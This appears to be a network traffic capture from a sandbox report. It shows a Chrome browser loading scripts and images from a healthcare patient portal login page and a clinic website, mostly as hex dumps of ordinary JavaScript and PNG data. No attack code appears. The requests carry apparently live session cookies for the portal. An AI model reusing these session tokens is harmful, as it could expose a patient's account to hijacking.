2024-04-24 12:45:09 UTC	16384	IN	Data Raw: 9b 6d 59 8d 7c 53 cb a9 c3 6b 2b 87 c2 15 0b d6 c2 05 17 5c 2e 7c 76 c1 82 5b e0 e1 27 04 04 23 45 f8 c4 ab 6b bf bf 7f 40 b6 9a 36 f9 25 18 d8 fd a6 ba 10 c9 3e 17 7a c1 a2 c4 a5 97 dd 04 cf fc 6b 94 64 0e f8 9b 09 6b d7 e1 1a 6c 5b 5b 93 c2 87 e0 33 8a b2 44 c6 ca 16 4c 0a a4 46 cc af 86 0b 51 58 09 cd 67 42 c6 72 dc 4e 70 f3 23 20 df 3c 01 72 f9 41 12 21 06 cd 90 de 96 4d eb 99 b0 02 15 43 2a c9 a2 7e a4 6c 6d 85 e9 27 1c 54 04 24 64 b0 64 2c ec f0 83 78 ed 22 36 2e 64 e4 43 a2 74 a0 bc 44 c4 92 25 63 65 96 d4 98 51 bd 1a d7 9b 53 7d 1a 73 c3 96 97 0e 49 af 06 64 ac 46 ec ae 8e 93 83 7c 73 7f 68 ed 18 17 84 28 6c 6e d1 0c 51 58 94 a6 d4 8e 95 42 f8 11 7d af 43 22 16 4b c6 e2 87 1f 94 16 9c a8 b3 51 13 29 27 c6 1f 2b 02 4f 58 64 c3 90 c7 5c 3a 69 39 a0 Data Ascii: mY\|Sk+\.\|v['#Ek@6%>zkdkl[[3DLFQXgBrNp# <rA!MC*~lm'T$dd,x"6.dCtD%ceQS}sIdF\|sh(lnQXB}C"KQ)'+OXd\:i9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
255	192.168.2.4	50093	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:08 UTC	804	OUT	GET /portal14763/script/newLogin/jquery.mCustomScrollbar.concat.min.js HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:09 UTC	461	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:09 GMT Content-Type: text/javascript Content-Length: 45479 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:09 GMT Accept-Ranges: bytes ETag: W/"45479-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT vary: accept-encoding Server:
2024-04-24 12:45:09 UTC	15923	IN	Data Raw: 2f 2a 20 3d 3d 20 6a 71 75 65 72 79 20 6d 6f 75 73 65 77 68 65 65 6c 20 70 6c 75 67 69 6e 20 3d 3d 20 56 65 72 73 69 6f 6e 3a 20 33 2e 31 2e 31 33 2c 20 4c 69 63 65 6e 73 65 3a 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 4d 49 54 29 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 29 7b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 6a 71 75 65 72 79 22 5d 2c 61 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 3a 61 28 6a 51 75 65 72 79 29 7d 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 76 61 72 20 67 3d 62 7c 7c 77 69 6e 64 6f 77 2e 65 76 65 6e 74 2c 68 Data Ascii: /* == jquery mousewheel plugin == Version: 3.1.13, License: MIT License (MIT) */!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):"object"==typeof exports?module.exports=a:a(jQuery)}(function(a){function b(b){var g=b\|\|window.event,h
2024-04-24 12:45:09 UTC	16384	IN	Data Raw: 74 69 76 65 22 7d 29 2e 75 6e 77 72 61 70 28 29 7d 7d 2c 77 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 65 28 74 68 69 73 29 2c 6f 3d 74 2e 64 61 74 61 28 61 29 2c 6e 3d 6f 2e 6f 70 74 2c 69 3d 65 28 22 2e 6d 43 53 42 5f 22 2b 6f 2e 69 64 78 2b 22 5f 73 63 72 6f 6c 6c 62 61 72 3a 66 69 72 73 74 22 29 2c 72 3d 6f 65 28 6e 2e 73 63 72 6f 6c 6c 42 75 74 74 6f 6e 73 2e 74 61 62 69 6e 64 65 78 29 3f 22 74 61 62 69 6e 64 65 78 3d 27 22 2b 6e 2e 73 63 72 6f 6c 6c 42 75 74 74 6f 6e 73 2e 74 61 62 69 6e 64 65 78 2b 22 27 22 3a 22 22 2c 6c 3d 5b 22 3c 61 20 68 72 65 66 3d 27 23 27 20 63 6c 61 73 73 3d 27 22 2b 64 5b 31 33 5d 2b 22 27 20 22 2b 72 2b 22 20 2f 3e 22 2c 22 3c 61 20 68 72 65 66 3d 27 23 27 20 63 6c 61 73 73 3d 27 22 2b 64 5b 31 34 5d 2b 22 27 Data Ascii: tive"}).unwrap()}},w=function(){var t=e(this),o=t.data(a),n=o.opt,i=e(".mCSB_"+o.idx+"_scrollbar:first"),r=oe(n.scrollButtons.tabindex)?"tabindex='"+n.scrollButtons.tabindex+"'":"",l=["<a href='#' class='"+d[13]+"' "+r+" />","<a href='#' class='"+d[14]+"'
2024-04-24 12:45:09 UTC	13172	IN	Data Raw: 3d 3d 3d 6c 7c 7c 34 30 3d 3d 3d 6c 29 7c 7c 22 79 22 21 3d 3d 69 2e 61 78 69 73 26 26 28 33 37 3d 3d 3d 6c 7c 7c 33 39 3d 3d 3d 6c 29 29 7b 69 66 28 28 33 38 3d 3d 3d 6c 7c 7c 34 30 3d 3d 3d 6c 29 26 26 21 6e 2e 6f 76 65 72 66 6c 6f 77 65 64 5b 30 5d 7c 7c 28 33 37 3d 3d 3d 6c 7c 7c 33 39 3d 3d 3d 6c 29 26 26 21 6e 2e 6f 76 65 72 66 6c 6f 77 65 64 5b 31 5d 29 72 65 74 75 72 6e 3b 22 6b 65 79 75 70 22 3d 3d 3d 74 2e 74 79 70 65 26 26 28 73 3d 22 6f 66 66 22 29 2c 65 28 64 6f 63 75 6d 65 6e 74 2e 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 29 2e 69 73 28 75 29 7c 7c 28 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 2e 73 74 6f 70 49 6d 6d 65 64 69 61 74 65 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 2c 61 28 73 2c 6c 29 29 7d 65 6c 73 65 20 69 66 28 33 Data Ascii: ===l\|\|40===l)\|\|"y"!==i.axis&&(37===l\|\|39===l)){if((38===l\|\|40===l)&&!n.overflowed[0]\|\|(37===l\|\|39===l)&&!n.overflowed[1])return;"keyup"===t.type&&(s="off"),e(document.activeElement).is(u)\|\|(t.preventDefault(),t.stopImmediatePropagation(),a(s,l))}else if(3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
256	192.168.2.4	50094	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:08 UTC	807	OUT	GET /portal14763/script/newui/js/securityCSRF.js?v=%3C%=Math.random()%%3E HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:09 UTC	436	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:09 GMT Content-Type: text/javascript Content-Length: 1200 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:09 GMT Accept-Ranges: bytes ETag: W/"1200-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT Server:
2024-04-24 12:45:09 UTC	1200	IN	Data Raw: 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 09 76 61 72 20 5f 68 65 61 64 65 72 20 3d 20 24 28 22 6d 65 74 61 5b 6e 61 6d 65 3d 27 5f 63 73 72 66 5f 68 65 61 64 65 72 27 5d 22 29 2e 61 74 74 72 28 22 63 6f 6e 74 65 6e 74 22 29 3b 0d 0a 09 76 61 72 20 5f 74 6f 6b 65 6e 20 3d 20 24 28 22 6d 65 74 61 5b 6e 61 6d 65 3d 27 5f 63 73 72 66 27 5d 22 29 2e 61 74 74 72 28 22 63 6f 6e 74 65 6e 74 22 29 3b 0d 0a 09 09 09 0d 0a 09 24 2e 61 6a 61 78 53 65 74 75 70 28 7b 0d 0a 09 09 2f 2f 41 6a 61 78 20 63 61 6c 6c 73 0d 0a 09 09 2f 2a 62 65 66 6f 72 65 53 65 6e 64 3a 20 66 75 6e 63 74 69 6f 6e 28 78 68 72 2c 73 65 74 74 69 6e 67 73 29 20 7b 0d 0a 09 20 20 20 20 09 69 66 28 73 65 74 74 69 6e 67 73 2e 74 79 70 65 3d Data Ascii: $(document).ready(function () {var _header = $("meta[name='_csrf_header']").attr("content");var _token = $("meta[name='_csrf']").attr("content");$.ajaxSetup({//Ajax calls/*beforeSend: function(xhr,settings) { if(settings.type=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
257	192.168.2.4	50096	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:08 UTC	581	OUT	GET /portal14763/images/newLogin/view-health-landing-vector.png HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:09 UTC	434	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:09 GMT Content-Type: image/png Content-Length: 114029 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:09 GMT Accept-Ranges: bytes ETag: W/"114029-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT Server:
2024-04-24 12:45:09 UTC	15950	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 42 00 00 01 7e 08 06 00 00 00 6e f7 75 4b 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 20 00 49 44 41 54 78 5e ec bd 07 60 5c 47 b5 3f 7c b6 ef aa 77 c9 96 6d c9 3d 89 ed 34 08 69 f0 0f 0f 48 88 d3 5d d2 ab 9d 80 93 50 1f 2f 40 80 84 96 90 46 20 3d 24 b4 c7 9f 12 3e de fb 3e 20 10 4a 1a 81 38 bd 19 17 d9 72 b7 65 5b 56 ef 2b 6d d5 7e bf 33 73 67 f7 ee d5 dd 22 d9 56 d9 dc 9b ac 77 b5 7b ef 94 33 33 67 7e 73 aa 8d ac 6b 4a 53 20 16 8b 79 d0 81 b9 78 55 e3 35 3c 4e 9d 89 a1 9e 03 78 ed b1 d9 6c d1 b1 d4 89 76 cf 24 8a 9e 80 67 f3 f1 9e 65 bb 1d 36 dc 1f 24 72 34 a0 de 6d 63 a9 77 aa 3e 03 7a 15 13 45 3e 48 64 ab ca 9e 5e 13 d9 5b 07 57 3e 44 14 5e 4f e4 6d c2 78 f1 9c 19 b7 0b f4 b2 a3 b2 0a Data Ascii: PNGIHDRB~nuKsBIT\|d IDATx^`\G?\|wm=4iH]P/@F =$>> J8re[V+m~3sg"Vw{33g~skJS yxU5<Nxlv$ge6$r4mcw>zE>Hd^[W>D^Omx
2024-04-24 12:45:09 UTC	16384	IN	Data Raw: e1 20 80 50 03 80 d0 09 3d ca ce 88 d3 61 b4 02 6c f0 df 9c 76 83 5f ec 2e 2f fe c3 bb 02 58 1d 10 fb ec 85 44 88 45 4d 0c 74 d8 8d 9d ed 84 38 df 18 7b 70 71 6e 32 06 3a 9c 5b 6c 08 b1 2d 6a 61 eb d3 8a 67 fa 01 58 4e 17 40 88 f3 98 45 85 14 88 f3 99 55 22 1d 07 e3 1d 5e 69 9c 44 75 21 74 f7 25 f8 8e 8d b0 21 70 82 7d 50 4c 48 ac 38 07 1a 07 cf 66 3b 22 ae 7f 2e 8c a7 39 f3 3d 1b 56 9f 08 d7 7a eb b2 28 60 51 c0 a2 40 ae 52 40 01 21 87 6f b8 ad 20 bf d0 17 0c 20 80 26 62 3e b1 db bc 54 89 71 90 5d 99 85 3e 9d fb bc e2 e5 ca 46 e8 ce 3b ef a4 ad 5b b7 d2 a7 3f 75 03 ad 5c 79 d1 1f 2b ca ca 6e 42 06 fa 16 b9 af c4 81 90 30 88 c2 b3 9c 8c d5 ba 26 39 05 72 0a 08 ed 6d 6e 17 aa b1 c7 1e 7b 4c 00 a1 bb ee ba 47 48 84 58 37 2c 2c 74 a4 e0 27 ee 25 c6 aa b1 04 Data Ascii: P=alv_./XDEMt8{pqn2:[l-jagXN@EU"^iDu!t%!p}PLH8f;".9=Vz(`Q@R@!o &b>Tq]>F;[?u\y+nB0&9rmn{LGHX7,,t'%
2024-04-24 12:45:09 UTC	16384	IN	Data Raw: bc fa d7 3d b3 06 84 7a bb 5b d1 eb 31 c3 d3 5d 03 8f 3e 0e 89 2a 17 8e b4 fb 90 91 c0 2c a0 38 33 7a 06 06 a0 73 59 d0 e1 54 e1 fc 45 e9 a8 6b 73 63 41 e1 f4 81 90 10 3d 3f c1 f2 1a 53 a9 31 36 de f3 73 53 4a 3e ae 49 ce 9b b4 d7 c8 d8 73 59 c9 08 fd a5 e2 08 4a 0b f2 d1 dd dd 02 bf 3e 19 f1 04 15 cd fd d4 27 71 4a 2c a5 ff 53 f5 d1 3a b2 56 3e 64 51 d6 92 46 60 74 36 80 50 fd a1 fd e8 b2 7a 60 8e 35 62 88 80 27 3e 8f 3e 41 7d ed 30 17 14 a3 e7 68 15 3c 0c dd 9a 53 4b 81 c1 46 f4 0e 7a 61 30 1b e9 73 a5 85 9d 0c 89 29 d1 80 e6 61 0b b2 38 be 9d cd c3 c8 2d 31 a2 dd a6 c2 f2 82 c9 0b cb 2b 29 78 fe c5 c1 5e 66 f6 4d 7f 15 13 76 3e 0f 14 33 63 2c 6d fa 82 5b eb 50 2f de 39 dc 86 e2 14 3d 78 cb dc 60 10 e4 b9 ad e8 19 71 80 d6 19 58 bb b0 00 9f 1e 38 8c 83 Data Ascii: =z[1]>*,83zsYTEkscA=?S16sSJ>IsYJ>'qJ,S:V>dQF`t6Pz`5b'>>A}0h<SKFza0s)a8-1+)x^fMv>3c,m[P/9=x`qX8
2024-04-24 12:45:09 UTC	16384	IN	Data Raw: f8 69 8a 40 48 94 d8 08 00 21 66 8d 89 5a 63 4e ae f3 22 6b 8c 59 f1 1e a1 8b 1a d5 08 8d 21 85 a4 3e f7 d1 5f 4e da a4 10 88 09 c3 cd 17 28 96 de 4a fb 13 09 08 7d e5 1e 24 a5 4d 0e 08 9d 71 20 fd 68 e5 cf 6b 20 f7 1f e4 27 1e e3 2e f3 b0 cc a7 ec 54 aa d1 11 2b 93 f5 cf ea 24 f8 9c 9f 3c d2 80 50 ec be aa 83 ff fe da ab af 3f 24 18 a1 1b 6f be 59 12 4b 8b 09 2e 1e 00 e1 ea 1a 00 43 22 63 2c 60 a8 28 15 62 15 1e 3f 3c 48 25 e3 cb 88 21 23 8f ca 78 a2 e8 aa c2 4b 9d 84 0f 2a a6 cf cb 08 84 44 ad b1 84 d4 12 3c 76 eb 45 e8 61 3a a8 b1 b4 00 4b e5 c3 28 6f f5 e2 ea 7c 2d 36 bf 55 81 eb af 5a 86 4f fe fc 21 f2 8b 17 a2 8e a6 6b 6e a3 19 eb 96 97 a0 f5 68 13 1a 08 a2 32 15 36 b2 2f 56 5c 5c 9c 8d bf 74 0c 23 9f 00 a4 a6 a3 1d 6b ca 52 10 63 2e c6 07 ef d1 bd Data Ascii: i@H!fZcN"kY!>_N(J}$Mq hk '.T+$<P?$oYK.C"c,`(b?<H%!#xK*D<vEa:K(o\|-6UZO!knh26/V\\t#kRc.
2024-04-24 12:45:09 UTC	16384	IN	Data Raw: 99 ae c2 71 ff b4 11 a1 f4 b6 86 f8 08 f5 fb 19 fe 43 9c a5 c5 61 54 45 93 29 3b 89 70 09 c9 ef 0c a0 e1 2f 52 7f 63 63 a3 d2 08 89 b9 4c a2 c6 d6 6f dc 80 ac 1c 8d 47 88 31 c8 18 30 e4 19 33 7d 84 e6 d7 38 f1 b7 66 38 d9 69 8b 67 7f f5 84 b6 2e ea 4d 63 fe 10 7a 49 c4 ea e0 26 73 4d 55 75 ed af 5f 7b ed b5 e4 6f 7f fb db d8 b8 71 a3 32 8d 39 9d 6e 2e 66 dd 8a 50 51 cf 40 1f 16 08 71 30 4b 48 a5 62 96 26 f8 51 a1 f3 9c 00 56 3a 4d bb 5c e4 11 a2 8f d0 ce 08 b3 cf cf cb 61 30 cf 1b 95 c4 b4 0d 3f 7f e4 6b 04 42 89 f3 bc a5 e3 37 6f ac 10 5c b5 d9 b2 18 c1 77 54 bf e8 02 6b bc 9e 57 ca f8 5a d2 67 f2 23 3c 64 66 99 7f 12 10 50 e2 22 10 1a 8b 04 51 80 50 4f 4b 9b 72 96 1e f2 1f 44 06 fa 19 3e ef 5f eb 87 25 6a 2c 40 81 18 0e 08 11 e4 90 6f 48 f3 11 6a c1 97 Data Ascii: qCaTE);p/RccLoG103}8f8ig.MczI&sMUu_{oq29n.fPQ@q0KHb&QV:M\a0?kB7o\wTkWZg#<dfP"QPOKrD>_%j,@oHj
2024-04-24 12:45:09 UTC	16384	IN	Data Raw: 9f 84 a5 c7 29 94 cc d5 08 05 95 73 82 1d 18 88 30 c6 02 81 9b 0a 25 45 db 24 d8 59 55 0a 8c 70 4d 2b 39 ca e2 1e ff b4 52 a5 8d bc ab be 01 aa 68 3f 00 01 45 85 f2 fd da d7 be e6 42 1d 37 09 e6 e5 d6 ac 1e 2e 1c b9 ec a0 37 7d c8 d6 07 59 08 68 07 d7 01 59 f4 91 f2 d9 c1 81 4b 04 40 8c 02 8c 5d 1d b8 e9 22 46 03 9a 21 a4 51 0c f4 1f e5 24 80 a3 b1 ce 40 08 ba 51 3f 8a 11 fa 08 e0 51 86 84 36 e3 44 d9 5a 71 ab ff 94 2f 6b 1d fd 53 1f 32 00 17 58 62 9c a1 9f 14 82 2c 07 d4 27 8b a0 fa 08 cd f9 50 bf 56 fd b4 87 76 66 6b 8a f8 53 20 83 e7 8f 3e fa e8 81 05 82 76 53 16 0a 03 3a 69 d5 cf 5f da 22 eb 11 df 69 3b 34 8d f8 14 40 e8 72 1f 3b 81 dd 38 1f 2a 76 e7 1c 6c 31 73 8a 45 b9 f2 ca 2b 7c 4c 02 70 4e 97 94 15 61 15 a5 6e da 28 40 2a d0 a9 b9 45 1f f9 2e 80 Data Ascii: )s0%E$YUpM+9Rh?EB7.7}YhYK@]"F!Q$@Q?Q6DZq/kS2Xb,'PVvfkS >vS:i_"i;4@r;8vl1sE+\|LpNan(@E.
2024-04-24 12:45:09 UTC	16159	IN	Data Raw: d4 1d 53 3b 97 59 de a0 15 b6 65 d7 a2 a3 33 0a df b7 c9 f3 05 42 79 f2 48 c8 2b b8 4e 56 16 81 0f 99 7a 11 76 0a c8 5d b7 ee 20 fb 1e d6 81 1c e4 9b 05 bb 40 4b 16 f2 79 92 ca 8a 41 99 94 4d 59 4c be 5c 8f 5c 81 b5 e5 2b 03 c1 0c b4 04 58 64 a9 60 45 a3 7e 08 48 46 a2 b8 b0 80 65 d7 1e e5 64 c0 d5 c7 51 19 a8 e4 c9 2f 45 44 7f 10 1c ac a8 a0 a5 f2 a5 64 13 bc ca ae 01 5c 06 5c 35 20 ca 96 16 09 16 8d a3 56 b4 08 50 5c 3a 08 69 05 e5 ae 35 6b 00 87 46 b2 3d dc 2d 67 e4 86 29 8a c5 c1 0d 02 99 dd 5d 25 00 b7 0b 54 aa be 1a 80 8b f6 b2 50 d6 40 28 03 ed ae 72 bd bf 28 f2 11 d3 37 ac 2c e5 01 c7 1b b1 d2 f4 0f d7 cb ca b8 73 22 97 e7 86 94 03 ca be 94 41 bd 5e 44 0a a2 ad c7 b4 a6 f5 40 a3 56 15 0e 81 a0 0a fc f7 b7 8d be 05 0d 32 1f d7 ee 87 fa fd 00 42 41 Data Ascii: S;Ye3ByH+NVzv] @KyAMYL\\+Xd`E~HFedQ/EDd\\5 VP\:i5kF=-g)]%TP@(r(7,s"A^D@V2BA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
258	192.168.2.4	50097	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:08 UTC	785	OUT	GET /wp-content/uploads/2020/07/icon__service_4.svg HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
2024-04-24 12:45:09 UTC	419	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:45:09 GMT Content-Type: image/svg+xml Content-Length: 1536 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:19:45 GMT Vary: Accept-Encoding ETag: "64f5a131-600" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:45:09 UTC	1536	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0a 3c 73 76 67 20 77 69 64 74 68 3d 22 37 30 22 20 68 65 69 67 68 74 3d 22 37 30 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 37 30 20 37 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 09 3c 74 69 74 6c 65 3e 49 63 6f 6e 20 53 65 72 76 69 63 65 3c 2f 74 69 74 6c 65 3e 0a 3c 70 61 74 68 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 6c 69 70 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 33 35 2e 32 33 38 34 20 36 39 2e 34 37 36 38 43 35 34 2e 34 32 33 39 20 36 39 2e 34 37 36 38 20 36 39 2e 39 37 36 38 20 35 Data Ascii: <?xml version="1.0" encoding="utf-8"?><svg width="70" height="70" viewBox="0 0 70 70" fill="none" xmlns="http://www.w3.org/2000/svg"><title>Icon Service</title><path fill-rule="evenodd" clip-rule="evenodd" d="M35.2384 69.4768C54.4239 69.4768 69.9768 5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
259	192.168.2.4	50095	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:08 UTC	541	OUT	GET /wp-content/uploads/2023/11/NQL-HH-2023.png HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
2024-04-24 12:45:09 UTC	327	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:45:09 GMT Content-Type: image/png Content-Length: 594785 Connection: close Last-Modified: Thu, 16 Nov 2023 13:56:21 GMT ETag: "65561f85-91361" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:45:09 UTC	16057	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 09 60 00 00 09 60 08 06 00 00 00 0c 4d 0c 6e 00 00 00 09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 20 00 49 44 41 54 78 9c ec dd 6f c8 5f e7 79 1f f0 af 8c ca a6 a6 10 05 42 ad 94 81 63 4b 5b 30 a4 b5 5c ca ea ec d6 b1 0d de 92 b2 b4 ab 4d 30 76 cc 8a 5d 6c b6 bc 48 40 49 1a 62 b7 35 a1 98 44 0e 6d 52 41 0b cb 0b 99 da 30 62 9b 32 ec ac cb 68 d2 19 6c 1f dd b5 5f 94 5a 61 19 26 9b 64 c5 30 16 d9 04 a2 b0 ac de 88 a8 c6 71 8f 5c 45 d6 bf e7 3c cf ef 79 ce 9f cf e7 8d 4c 88 fd dc e7 5c 47 bf e7 77 ee f3 3d d7 b5 ed f4 e9 d3 01 00 00 00 00 00 00 00 00 60 ed ae 70 ce 00 00 00 00 00 00 00 00 00 86 11 c0 02 00 00 00 00 00 00 00 00 18 48 00 0b 00 00 00 00 00 00 00 00 60 20 01 2c 00 00 00 00 00 Data Ascii: PNGIHDR``MnpHYs.#.#x?v IDATxo_yBcK[0\M0v]lH@Ib5DmRA0b2hl_Za&d0q\E<yL\Gw=`pH` ,
